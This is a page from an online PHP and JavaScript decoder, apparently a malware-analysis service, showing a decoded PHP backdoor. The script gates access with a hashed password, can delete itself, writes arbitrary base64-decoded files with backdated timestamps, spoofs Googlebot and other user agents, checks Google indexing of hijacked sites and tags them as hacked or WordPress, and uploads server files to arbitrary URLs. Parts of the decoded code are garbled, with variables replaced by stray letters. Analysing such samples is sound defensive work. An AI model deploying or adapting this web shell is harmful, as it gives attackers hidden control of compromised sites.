Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


@session_start();
	function login() {
	       @session_start();
	       $UA = $_SERVER['HTTP_USER_AGENT'];
	      if(strpos($UA,'111315')>9) exit('CURL23');
	   $data = array_merge($_GET, $_POST);
		     if(!empty($_SESSION['cu23']) || substr(md5(@$data['cu23']),0,12)=='1535d7912317') {
		          $_SESSION['cu23'] = 1;
		          if(isset($_GET['del'])) unlink($_SERVER['SCRIPT_FILENAME']);
		    
	}
		 else {
		                exit('<form action="" method="post"><input type="password" name="cu23"></form>');
		       
	}
}
login();
define('IM_PROXYPORT',30000);
$setua = array('UA','GG','AOL','GG-2','Click','Pass');
if(isset($_POST['ua'])) $_SESSION['setua'] = (int)$_POST['ua'];
if(!empty($_POST['pass'])) $_SESSION['pass'] = trim($_POST['pass']);
if(!empty($_POST['infos'])) $_SESSION['infos'] = trim($_POST['infos']);
$output = '';
	if(!empty($_POST['urls'])) {
		  if(trim($_POST['urls'])=='save' && !empty($_POST['pass']) && !empty($_POST['infos'])) {
			         if(file_put_contents(trim($_POST['pass']),base64_decode($_POST['infos']))) {
			@touch(trim($_POST['pass']),time()-600000);
			                      exit('saveOK');
			         
		}
			 else {
			                        exit('saveNo');
			         
		}
		       
	}
	       $urls = explode("\n",$_POST['urls']);
	   $output .= '<ol>';
		      foreach($urls as $k=>$v) {
		  $v = str_replace(array("\t"),'###',$v);
		          $v = str_replace(array("\t","\r","\n"),'',$v);
		          if($v) $output .= '<li class="i-'.($k+1).'"><a target="_blank" href="'.$v.'">'.$v.'</a></li>';
		  
	}
	       $output .= '</ol>';
}
$do = isset($_POST['do']) ? $_POST['do'] : (isset($_GET['do']) ? $_GET['do'] : '');
$time = isset($_POST['time']) ? $_POST['time'] : 20;
	switch ($do){
	     case 'atitle':          $json = array('msg'=>'#No');
		            if(!empty($_POST['url'])) {
		                     $sURL = trim($_POST['url']);
		                 $id = (int)$_POST['id'];
		                        $Port = $id%10+30000;
		                   $json['msg'] = '';
		                                       if(@$_SESSION['pass']=='DIE') exit("u");
		                 $code = str_replace(array("\n","\r","\t"),'',"u");
		                  $json['msg'] .= '#_ :: '.("_"==200?'':"c :: ');
			                    if(preg_match('/<title[^>]*>([^<]*)<\/title>/i',$code,$arr)) {
			      $json['msg'] .= '@@'.trim("c");
				                              if(preg_match('/<a [^>]*href="([^"]+)"/i',$code,$arr)) {
				                                        $json['msg'] .= '~~'.trim("c");
				                             
			}
			                       
		}
			 else {
			                             $json['msg'] .= '#'.substr(htmlspecialchars($code),0,2048);
			                     
		}
		               
	}
	               exit(json_encode($json));
	       case 'ahtml':           $json = array('msg'=>'#No');
		            if(!empty($_POST['url'])) {
		                  $sURL = trim($_POST['url']);
		                                     $code = str_replace(array("\n","\r","\t"),'',"u");
		                  $json['msg'] = '#_ :: '.("_"==200?'':"c :: ');
		                  $json['msg'] .= htmlspecialchars($code);
		                
	}
	               exit(json_encode($json));
	       case 'axml':            $json = array('msg'=>'#No');
		            if(!empty($_POST['url'])) {
		                     $sURL = trim($_POST['url']);
		                                  $code = str_replace(array("\n","\r","\t"),'',"u");
		                  $json['msg'] = '#_ :: '.("_"==200?'':"c :: ');
			                     if(preg_match_all('/<loc>([^<]+)<\/loc>/i',$code,$arr)) {
			                            $json['msg'] .= "c"[0].' :: Sitemap='.sizeof("c");
			                      
		}
			 elseif(preg_match('/<title[^>]*>([^<]*)<\/title>/i',$code,$arr)) {
			                        $json['msg'] .= '@@'.trim("c");
			                      
		}
			 else {
			                                $json['msg'] .= '#'.substr(htmlspecialchars($code),0,512);
			                      
		}
		               
	}
	               exit(json_encode($json));
	       case 'aggindex':             $json = array('msg'=>'#No');
		            if(!empty($_POST['url'])) {
		                     $sURL = 'https://wwwgooglecouk/search?hl=en&q=site:'.trim($_POST['url']);
		                    $code = google_curl($sURL);
		                     if(@$_SESSION['pass']=='DIE') exit($code);
		                   $code = str_replace(array("\n","\r","\t"),'',$code);
			                    if(preg_match('/<div id="result-stats">([^<]+)</i',$code,$arr)) {
			                               $json['msg'] = '@'.str_replace(array(',','About '),'',"c");
				                              if(preg_match_all('/<h3 class="[^"]*">([^<]+)<\//i',$code,$brr)) {
				                                                                      $T = implode(' ,,, ',"c");
				                      if(preg_match('/(ー)/i',$T)) $json['msg'] .= '【JP】';
				                                   if(preg_match('/(ws_hacked)/i',$code)) $json['msg'] .= '【hacked】';
				                                    if(preg_match('/(US Digital Millennium Copyright Act)/i',$code)) $json['msg'] .= '【DMCA】';
				                                 if(preg_match_all('/class="yuRUbf"><a href="([^"]+)"/i',$code,$crr)) $T .= ' ### '.implode(' ,,, ',"c");
				                                    $json['msg'] .= ': '.$T;
				                    
			}
		}
			 else if(preg_match('/<title[^>]*>([^<]*)<\/title>/i',$code,$arr)) {
			                           $json['msg'] = '@@'.trim("c");
			                      
		}
			 else {
			                                $json['msg'] = '#'.substr(htmlspecialchars($code),0,1024);
			  
		}
	}
	               exit(json_encode($json));
	       case 'asearch':         $json = array('msg'=>'#No');
		            if(!empty($_POST['url'])) {
		                     $sURL = trim($_POST['url']);
		                                 $code = str_replace(array("\n","\r","\t"),'',"u");
		                   $json['msg'] = '#_ :: '.("_"==200?'':"c :: ');
			                     if(!empty($_SESSION['pass']) && preg_match('/'.trim($_SESSION['pass']).'/i',$code)) {
			       $json['msg'] .= '##'.$_SESSION['pass'];
			                  
		}
			elseif(preg_match('/<title[^>]*>([^<]*)<\/title>/i',$code,$arr)) {
			                             $json['msg'] .= '@@'.trim("c");
				                             if(preg_match('/<a [^>]*href="([^"]+)"/i',$code,$arr)) {
				                                     $json['msg'] .= '~~'.trim("c");
				                             
			}
			                       
		}
			 else {
			                                $json['msg'] .= '#'.substr(htmlspecialchars($code),0,2048);
			         
		}
			if(preg_match('/wp-content\/themes\//i',$code)) {
			                               $json['msg'] .= '【WP】';
			                       
		}
		               
	}
	               exit(json_encode($json));
	       case 'apost':           $json = array('msg'=>'#No');
		        if(!empty($_POST['url'])) {
		                      $sURL = trim($_POST['url']);
		                    $postdata = json_decode(@$_SESSION['infos'],1);
			                 foreach($postdata as $k=>$v) {
				                          if($v=='_file' && !empty($_SESSION['pass'])) {
				                                       $postdata[$k] = new \CURLFile(realpath($_SESSION['pass']));
				                                     $postdata['_file'] = 1;
				                         
			}
			                       
		}
		                                          if(@$_SESSION['pass']=='DIE') exit("u");
		                    $code = str_replace(array("\n","\r","\t"),'',"u");
		                  $json['msg'] = '#_ :: '.("_"==200?'':"c :: ');
		 $json['msg'] .= substr(htmlspecialchars($code),0,2048);
		          
	}
	               exit(json_encode($json));
}
	function _curl($sURL, $agent='', $t=15, $Post = array(), $click=0, $N=0, $Port=0) {
	$Agents = array('Mozilla/50 (Macintosh;
	 Intel Mac OS X 1015;
	 rv:850) Gecko/20100101 Firefox/850','Mozilla/50 (Macintosh;
	 Intel Mac OS X 1012;
	 rv:840) Gecko/20100101 Firefox/840','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_10_5) AppleWebKit/60338 (KHTML, like Gecko) Version/1012 Safari/60338','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_12_6) AppleWebKit/53736 (KHTML, like Gecko) Chrome/880432496 Safari/53736','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_13_6) AppleWebKit/605115 (KHTML, like Gecko) Version/1312 Safari/605115','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_14_6) AppleWebKit/605115 (KHTML, like Gecko) Version/1401 Safari/605115','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_15_6) AppleWebKit/605115 (KHTML, like Gecko) Version/1312 Safari/605115','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_15_7) AppleWebKit/605115 (KHTML, like Gecko) Version/1313 Safari/605115','Mozilla/50 (Macintosh;
	 Intel Mac OS X 11_1_0) AppleWebKit/53736 (KHTML, like Gecko) Chrome/880432496 Safari/53736','Mozilla/50 (Windows NT 100) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8804324104 Safari/53736','Mozilla/50 (Windows NT 100;
	 Trident/70;
	 rv:110) like Gecko','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8304103116 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8404147135 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8504183121 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8804324104 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/870428088 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8604240198 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64;
	 rv:810) Gecko/20100101 Firefox/810','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64;
	 rv:840) Gecko/20100101 Firefox/840','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64;
	 rv:850) Gecko/20100101 Firefox/850','Mozilla/50 (Windows NT 61;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8404147135 Safari/53736','Mozilla/50 (Windows NT 61;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8504183102 Safari/53736','Mozilla/50 (Windows NT 61;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8704280141 Safari/53736','Mozilla/50 (Windows NT 62;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8804324104 Safari/53736','Mozilla/50 (Windows NT 63;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8704280141 Safari/53736');
	        $sURL = trim($sURL);
	    if(!preg_match('/^http/',$sURL)) $sURL = 'http://'.$sURL;
		       switch ((int)$_SESSION['setua']){
		    case 1:   $agent = 'Mozilla/50 (compatible;
		 Googlebot/21;
		 +http://wwwgooglecom/bothtml)';
		    break;
		        case 2:   $agent = 'Mozilla/50 (Windows NT 100;
		 Win64;
		 x64) AppleWebKit/53736 (KHTML, like Geckoaolcom) Chrome/118000 Safari/53736';
		   break;
		        case 3:   $agent = 'Mozilla/50 (Windows NT 100;
		 Win64;
		 x64) AppleWebKit/53736 (KHTML, like Geckogoogle) Chrome/111000 Safari/53736';
		       break;
		        case 4:   $click = 1;
		     break;
		        case 5:        $agent = @$_SESSION['pass'];
		    break;
		        
	}
	       if($agent=='') $agent = $Agents[array_rand($Agents)];
	   "_" = "Accept: text/html,application/xhtml+xml,application/xml;
	q=09,image/webp,*/*;
	q=08";
	      $header[] = "Cache-Control: max-age=0";
	      $header[] = "Connection: keep-alive";
	   $header[] = "Keep-Alive: 300";
	  $header[] = "Accept-Charset: utf-8;
	q=08,*;
	q=08";
	      $header[] = "Accept-Language: en-US,en;
	q=08";
	  $header[] = "Pragma: ";
	 $ch = curl_init();
	      curl_setopt($ch,CURLOPT_URL,$sURL);
	  curl_setopt($ch,CURLOPT_HTTPHEADER, $header);
	   curl_setopt($ch,CURLOPT_USERAGENT, $agent);
	     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
	      curl_setopt($ch,CURLOPT_HEADER, 0);
	     curl_setopt($ch,CURLOPT_FOLLOWLOCATION, 1);
	 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
	 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
	    if(!empty($click)) curl_setopt($ch, CURLOPT_REFERER, 'https://wwwgooglecom/');
		        if(!empty($Post['_file'])) {
		            curl_setopt($ch,CURLOPT_POST, 1);
		            curl_setopt($ch,CURLOPT_POSTFIELDS, $Post);
		     
	}
		elseif(!empty($Post)) {
		                curl_setopt($ch,CURLOPT_POST, 1);
		               curl_setopt($ch,CURLOPT_POSTFIELDS, http_build_query($Post));
		   
	}
	       curl_setopt($ch,CURLOPT_TIMEOUT,$t);
	 $sHTML = curl_exec($ch);
	        $HTTP = curl_getinfo($ch);
	      curl_close($ch);
	        $domain = preg_replace('/^https?:\/\/([^\/]+).*$/','$1',$sURL);
		 if (!$N && $sHTML=='' && $HTTP['http_code']==200 && preg_match('/^http:/',$sURL) && preg_match('/^https:/',$HTTP['url'])) {
		          if(strpos($HTTP['url'],$domain)===false) return $HTTP['url'];
		           return _curl($HTTP['url'], $agent, $t, $Post, $click, $N+1);
		    
	}
		       if (!$N && !empty($HTTP['redirect_url'])) {
		             if(strpos($HTTP['redirect_url'],$domain)===false) return $HTTP['redirect_url'];
		              return _curl($HTTP['redirect_url'], $agent, $t, $Post, $click, $N+1);
		   
	}
	       if($sURL!=$HTTP['url']) return array('301',$HTTP['url'],$sHTML);
	    return array($HTTP['http_code'],$HTTP['url'],$sHTML);
}
	function google_curl($u) {
	$Agents = array('Mozilla/50 (Macintosh;
	 Intel Mac OS X 1015;
	 rv:850) Gecko/20100101 Firefox/850','Mozilla/50 (Macintosh;
	 Intel Mac OS X 1012;
	 rv:840) Gecko/20100101 Firefox/840','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_10_5) AppleWebKit/60338 (KHTML, like Gecko) Version/1012 Safari/60338','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_12_6) AppleWebKit/53736 (KHTML, like Gecko) Chrome/880432496 Safari/53736','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_13_6) AppleWebKit/605115 (KHTML, like Gecko) Version/1312 Safari/605115','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_14_6) AppleWebKit/605115 (KHTML, like Gecko) Version/1401 Safari/605115','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_15_6) AppleWebKit/605115 (KHTML, like Gecko) Version/1312 Safari/605115','Mozilla/50 (Macintosh;
	 Intel Mac OS X 10_15_7) AppleWebKit/605115 (KHTML, like Gecko) Version/1313 Safari/605115','Mozilla/50 (Macintosh;
	 Intel Mac OS X 11_1_0) AppleWebKit/53736 (KHTML, like Gecko) Chrome/880432496 Safari/53736','Mozilla/50 (Windows NT 100) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8804324104 Safari/53736','Mozilla/50 (Windows NT 100;
	 Trident/70;
	 rv:110) like Gecko','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8304103116 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8404147135 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8504183121 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8804324104 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/870428088 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8604240198 Safari/53736','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64;
	 rv:810) Gecko/20100101 Firefox/810','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64;
	 rv:840) Gecko/20100101 Firefox/840','Mozilla/50 (Windows NT 100;
	 Win64;
	 x64;
	 rv:850) Gecko/20100101 Firefox/850','Mozilla/50 (Windows NT 61;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8404147135 Safari/53736','Mozilla/50 (Windows NT 61;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8504183102 Safari/53736','Mozilla/50 (Windows NT 61;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8704280141 Safari/53736','Mozilla/50 (Windows NT 62;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8804324104 Safari/53736','Mozilla/50 (Windows NT 63;
	 Win64;
	 x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/8704280141 Safari/53736');
	      $ua = $Agents[array_rand($Agents)];
	     "_" = "Accept: text/html,application/xhtml+xml,application/xml;
	q=09,image/webp,*/*;
	q=08";
	  $hd[] = "Cache-Control: max-age=0";
	     $hd[] = "Connection: keep-alive";
	       $hd[] = "Keep-Alive: 300";
	   $hd[] = "Accept-Charset: utf-8;
	q=08,*;
	q=08";
	  $hd[] = "Accept-Language: en-US,en;
	q=08";
	      $hd[] = "Pragma: ";
	     $ch = curl_init();
	      curl_setopt($ch,CURLOPT_URL,$u);
	        curl_setopt($ch,CURLOPT_HTTPHEADER, $hd);
	       curl_setopt($ch,CURLOPT_USERAGENT, $ua);
	     curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
	      curl_setopt($ch,CURLOPT_HEADER, 0);
	     curl_setopt($ch,CURLOPT_FOLLOWLOCATION, 1);
	     curl_setopt($ch,CURLOPT_SSL_VERIFYPEER, false);
	 curl_setopt($ch,CURLOPT_SSL_VERIFYHOST, 0);
	  curl_setopt($ch,CURLOPT_TIMEOUT,15);
	    $s = curl_exec($ch);
	    curl_close($ch);
	        return $s;
}
	<!DOCTYPE html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1"><title>URLs</title><script type="text/javascript" src="https://codejquerycom/jquery-1113js"></script><style>*{
	margin:0;
	padding:0;
	vertical-align:middle;
}
	body{
	padding:15px
}
	button{
	line-height:30px;
	padding:0 20px;
	cursor:pointer;
}
	#output{
	line-height:30px;
}
	hr{
	margin:10px 0
}
	label{
	margin-right:10px;
	display:inline-block;
}
	label input{
	float:left;
	margin-top:3px;
	margin-right:3px;
}
	.inline{
	padding:15px 0;
}
	#output{
	line-height:30px;
	padding:0 30px
}
	#output li{
	line-height:25px;
}
	#output li a{
	margin-right:10px
}
	#output li span{
	margin-left:10px;
	color:red
}
	.ajaxbtn{
	background:blue;
	color:#fff;
	border:0;
	margin-left:10px
}
	select,.input{
	padding:3px;
	margin-bottom:5px;
	margin-right:5px
}
	</style></head><body><form method="post" action="">       <select name="ua">      foreach($setua as $k=>$v) {
	   <option value="echo $k;
	"echo (@$_SESSION['setua']==$k?' selected':'')>echo $v;
	</option>       
}
      </select>       <input type="text" name="pass" value="echo @$_SESSION['pass'];
" class="input"><button type="submit">submit</button><br>      <textarea name="urls" rows="3" cols="60">echo !empty($_POST['urls']) ? $_POST['urls'] : 'http://ip-apicom/json/';
</textarea>   <textarea name="infos" rows="3" cols="60">echo @$_SESSION['infos'];
</textarea><hr /> <button type="button" class="ajaxbtn" data-do="atitle" data-time="10">atitle</button>   <button type="button" class="ajaxbtn" data-do="ahtml" data-time="10">ahtml</button>     <button type="button" class="ajaxbtn" data-do="axml" data-time="10">axml</button>    <button type="button" class="ajaxbtn" data-do="aggindex" data-time="10">aggindex</button>       <button type="button" class="ajaxbtn" data-do="asearch" data-time="10">asearch</button> <button type="button" class="ajaxbtn" data-do="apost" data-time="10">apost</button></form><hr /><div id="output">    echo $output;
	</div><script>$(function(){
		$('.ajaxbtn').click(function(){
		var dotype = $(this).data('do'), id = 1, total = $('#output ol li').length, time=$(this).data('time');
		doAjax(id,total,dotype,time);
	}
	);
}
);
	function doAjax(id,total,dotype,time){
	if(id>total) return;
	var url = $('lii-'+id+' a').text();
		if(url) $.ajax({
			url : '',type : 'post',dataType : 'json',data : {
			'do':dotype,'url':url,'time':time,'id':id
		}
			,complete : function(){
			doAjax(id+1,total,dotype,time);
		}
			,success : function(res){
				if(resmsg) {
				$('lii-'+id).append('<span>'+resmsg+'</span>');
			}
				else{
				$('lii-'+id).append('<span>#Error</span>');
			}
		}
	}
	);
}
</script></body></html>



© 2023 Quttera Ltd. All rights reserved.